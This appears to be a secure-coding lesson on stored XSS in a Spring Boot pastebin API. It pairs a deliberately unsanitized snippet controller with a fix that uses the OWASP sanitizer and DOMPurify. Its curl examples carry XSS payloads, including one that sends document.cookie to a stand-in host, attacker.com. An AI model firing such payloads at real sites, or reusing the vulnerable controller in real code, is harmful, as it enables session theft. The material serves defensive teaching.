Preventing XSS Injections

package com.codesignal.pastebin.controller;

import com.auth0.jwt.interfaces.DecodedJWT;
import com.codesignal.pastebin.model.Snippet;
import com.codesignal.pastebin.model.User;
import com.codesignal.pastebin.repo.SnippetRepository;
import com.codesignal.pastebin.repo.UserRepository;
import com.codesignal.pastebin.util.ErrorResponse;
import com.codesignal.pastebin.util.JwtUtil;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;

import java.util.UUID;

@RestController
@RequestMapping("/api/snippets")
public class SnippetController {
    private final SnippetRepository snippets;
    private final UserRepository users;
    private final JwtUtil jwt;

    public SnippetController(SnippetRepository snippets, UserRepository users, JwtUtil jwt) {
        this.snippets = snippets;
        this.users = users;
        this.jwt = jwt;
    }

    @PostMapping("")
    public ResponseEntity<?> create(
            @RequestHeader(value = "authorization", required = false) String authorization,
            @RequestBody CreateSnippetRequest request) {
        var outcome = getCurrentUser(authorization);
        if (outcome.error() != null) return outcome.error();
        User user = outcome.user();

        // VULNERABLE: No sanitization before storing
        Snippet s = new Snippet();
        s.setId(UUID.randomUUID().toString());
        s.setTitle(request.title());
        s.setContent(request.content());
        s.setLanguage(request.language());
        s.setUserId(user.getId());
        s = snippets.save(s);

        return ResponseEntity.ok(new SnippetResponse(
            s.getId(), s.getTitle(), s.getContent(), s.getLanguage(), 
            String.valueOf(s.getUserId())
        ));
    }
    
    // ... other methods and helper classes
}

curl -X POST http://localhost:3000/api/snippets \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  -d '{
    "title": "Test Snippet",
    "content": "<img src=\"x\" onerror=\"alert(document.cookie)\">",
    "language": "javascript"
  }'

curl -X POST http://localhost:3000/api/snippets \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  -d '{
    "title": "Helpful Code Example",
    "content": "<div>Loading...</div><img src=\"x\" onerror=\"fetch('"'"'https://attacker.com/steal?data='"'"'+document.cookie)\">",
    "language": "javascript"
  }'

<dependency>
    <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
    <artifactId>owasp-java-html-sanitizer</artifactId>
    <version>20240325.1</version>
</dependency>

package com.codesignal.pastebin.controller;

import com.auth0.jwt.interfaces.DecodedJWT;
import com.codesignal.pastebin.model.Snippet;
import com.codesignal.pastebin.model.User;
import com.codesignal.pastebin.repo.SnippetRepository;
import com.codesignal.pastebin.repo.UserRepository;
import com.codesignal.pastebin.util.ErrorResponse;
import com.codesignal.pastebin.util.JwtUtil;
import org.owasp.html.HtmlPolicyBuilder;
import org.owasp.html.PolicyFactory;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;

import java.util.UUID;

@RestController
@RequestMapping("/api/snippets")
public class SnippetController {
    private final SnippetRepository snippets;
    private final UserRepository users;
    private final JwtUtil jwt;
    
    // Define a reusable sanitization policy
    private static final PolicyFactory POLICY = new HtmlPolicyBuilder()
        .allowElements("p", "div", "b", "i", "em", "strong", "a", "code", "pre")
        .allowAttributes("href").onElements("a")
        .allowAttributes("class").onElements("code", "pre")
        .requireRelNofollowOnLinks()
        .toFactory();

    public SnippetController(SnippetRepository snippets, UserRepository users, JwtUtil jwt) {
        this.snippets = snippets;
        this.users = users;
        this.jwt = jwt;
    }

    @PostMapping("")
    public ResponseEntity<?> create(
            @RequestHeader(value = "authorization", required = false) String authorization,
            @RequestBody CreateSnippetRequest request) {
        var outcome = getCurrentUser(authorization);
        if (outcome.error() != null) return outcome.error();
        User user = outcome.user();

        // Basic validation
        if (request.content() == null || request.content().trim().isEmpty()) {
            return error(HttpStatus.BAD_REQUEST, "Content cannot be empty");
        }
        
        if (request.content().length() > 5000) {
            return error(HttpStatus.BAD_REQUEST, "Content exceeds maximum length");
        }

        // Server-side sanitization before storage
        String sanitizedContent = POLICY.sanitize(request.content());

        Snippet s = new Snippet();
        s.setId(UUID.randomUUID().toString());
        s.setTitle(request.title());
        s.setContent(sanitizedContent);
        s.setLanguage(request.language());
        s.setUserId(user.getId());
        s = snippets.save(s);

        return ResponseEntity.ok(new SnippetResponse(
            s.getId(), s.getTitle(), s.getContent(), s.getLanguage(),
            String.valueOf(s.getUserId())
        ));
    }
    
    private ResponseEntity<ErrorResponse> error(HttpStatus status, String detail) {
        return ResponseEntity.status(status).body(new ErrorResponse(detail));
    }
    
    private AuthOutcome getCurrentUser(String authorizationHeader) {
        if (authorizationHeader == null || authorizationHeader.isBlank()) {
            return new AuthOutcome(null, error(HttpStatus.UNAUTHORIZED, "Missing authorization header"));
        }
        String token = authorizationHeader.startsWith("Bearer ") 
            ? authorizationHeader.substring(7) 
            : authorizationHeader;
        try {
            DecodedJWT decoded = jwt.verify(token);
            Integer userId = decoded.getClaim("userId").asInt();
            return users.findById(userId)
                .map(user -> new AuthOutcome(user, null))
                .orElseGet(() -> new AuthOutcome(null, 
                    error(HttpStatus.UNAUTHORIZED, "User not found")));
        } catch (Exception e) {
            return new AuthOutcome(null, error(HttpStatus.UNAUTHORIZED, "Invalid token"));
        }
    }
    
    private record AuthOutcome(User user, ResponseEntity<ErrorResponse> error) {}
    public record CreateSnippetRequest(String title, String content, String language) {}
    public record SnippetResponse(String id, String title, String content, 
                                   String language, String userId) {}
}

<div>Hello</div><img src="x" onerror="alert('hacked')"><script>alert('xss')</script>

<div>Hello</div>

import { useEffect, useRef } from 'react';
import DOMPurify from 'dompurify';

type PreviewProps = {
  content: string;
  language: string;
};

function Preview({ content, language }: PreviewProps) {
  const previewRef = useRef<HTMLDivElement>(null);

  useEffect(() => {
    if (previewRef.current) {
      // Client-side sanitization with DOMPurify before rendering
      const sanitizedContent = DOMPurify.sanitize(content);
      previewRef.current.innerHTML = sanitizedContent;
    }
  }, [content]);

  return (
    <div>
      <h3>Preview ({language})</h3>
      <div ref={previewRef}></div>
    </div>
  );
}

export default Preview;